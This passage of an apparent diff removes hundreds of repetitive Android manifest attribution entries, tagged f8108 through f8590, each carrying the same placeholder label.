-  <attribution android:tag="f8108" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8109" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8110" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8111" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8112" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8113" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8114" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8115" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8116" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8117" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8118" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8119" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8120" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8121" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8122" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8123" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8124" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8125" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8126" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8127" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8128" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8129" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8130" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8131" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8132" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8133" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8134" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8135" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8136" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8137" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8138" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8139" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8140" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8141" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8142" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8143" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8144" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8145" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8146" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8147" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8148" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8149" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8150" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8151" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8152" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8153" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8154" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8155" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8156" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8157" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8158" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8159" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8160" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8161" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8162" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8163" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8164" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8165" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8166" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8167" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8168" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8169" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8170" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8171" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8172" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8173" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8174" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8175" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8176" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8177" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8178" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8179" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8180" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8181" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8182" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8183" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8184" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8185" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8186" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8187" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8188" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8189" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8190" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8191" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8192" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8193" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8194" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8195" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8196" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8197" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8198" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8199" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8200" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8201" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8202" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8203" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8204" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8205" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8206" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8207" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8208" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8209" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8210" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8211" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8212" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8213" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8214" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8215" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8216" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8217" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8218" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8219" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8220" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8221" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8222" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8223" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8224" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8225" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8226" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8227" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8228" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8229" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8230" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8231" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8232" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8233" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8234" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8235" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8236" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8237" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8238" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8239" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8240" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8241" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8242" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8243" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8244" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8245" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8246" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8247" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8248" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8249" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8250" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8251" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8252" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8253" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8254" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8255" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8256" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8257" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8258" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8259" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8260" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8261" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8262" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8263" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8264" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8265" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8266" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8267" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8268" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8269" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8270" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8271" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8272" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8273" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8274" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8275" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8276" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8277" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8278" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8279" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8280" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8281" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8282" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8283" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8284" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8285" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8286" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8287" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8288" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8289" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8290" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8291" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8292" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8293" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8294" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8295" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8296" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8297" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8298" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8299" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8300" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8301" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8302" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8303" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8304" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8305" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8306" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8307" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8308" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8309" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8310" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8311" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8312" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8313" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8314" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8315" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8316" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8317" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8318" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8319" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8320" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8321" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8322" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8323" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8324" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8325" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8326" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8327" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8328" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8329" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8330" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8331" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8332" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8333" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8334" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8335" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8336" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8337" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8338" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8339" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8340" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8341" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8342" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8343" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8344" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8345" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8346" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8347" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8348" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8349" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8350" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8351" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8352" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8353" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8354" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8355" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8356" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8357" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8358" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8359" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8360" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8361" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8362" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8363" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8364" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8365" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8366" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8367" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8368" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8369" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8370" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8371" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8372" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8373" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8374" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8375" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8376" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8377" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8378" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8379" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8380" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8381" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8382" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8383" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8384" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8385" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8386" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8387" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8388" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8389" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8390" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8391" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8392" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8393" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8394" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8395" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8396" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8397" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8398" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8399" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8400" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8401" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8402" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8403" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8404" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8405" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8406" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8407" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8408" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8409" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8410" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8411" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8412" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8413" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8414" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8415" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8416" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8417" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8418" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8419" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8420" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8421" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8422" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8423" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8424" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8425" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8426" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8427" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8428" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8429" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8430" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8431" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8432" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8433" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8434" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8435" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8436" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8437" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8438" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8439" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8440" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8441" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8442" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8443" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8444" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8445" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8446" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8447" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8448" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8449" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8450" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8451" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8452" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8453" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8454" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8455" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8456" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8457" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8458" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8459" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8460" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8461" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8462" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8463" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8464" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8465" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8466" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8467" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8468" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8469" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8470" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8471" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8472" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8473" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8474" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8475" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8476" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8477" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8478" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8479" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8480" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8481" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8482" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8483" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8484" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8485" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8486" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8487" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8488" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8489" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8490" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8491" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8492" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8493" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8494" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8495" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8496" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8497" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8498" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8499" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8500" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8501" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8502" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8503" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8504" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8505" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8506" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8507" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8508" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8509" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8510" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8511" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8512" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8513" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8514" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8515" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8516" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8517" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8518" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8519" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8520" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8521" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8522" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8523" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8524" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8525" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8526" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8527" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8528" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8529" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8530" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8531" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8532" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8533" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8534" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8535" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8536" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8537" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8538" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8539" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8540" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8541" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8542" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8543" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8544" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8545" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8546" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8547" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8548" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8549" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8550" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8551" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8552" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8553" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8554" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8555" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8556" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8557" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8558" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8559" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8560" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8561" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8562" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8563" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8564" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8565" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8566" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8567" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8568" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8569" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8570" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8571" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8572" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8573" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8574" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8575" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8576" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8577" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8578" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8579" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8580" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8581" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8582" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8583" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8584" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8585" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8586" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8587" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8588" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8589" android:label="@string/dummyLabel" />
-  <attribution android:tag="f8590" android:label="@string/dummyLabel" />
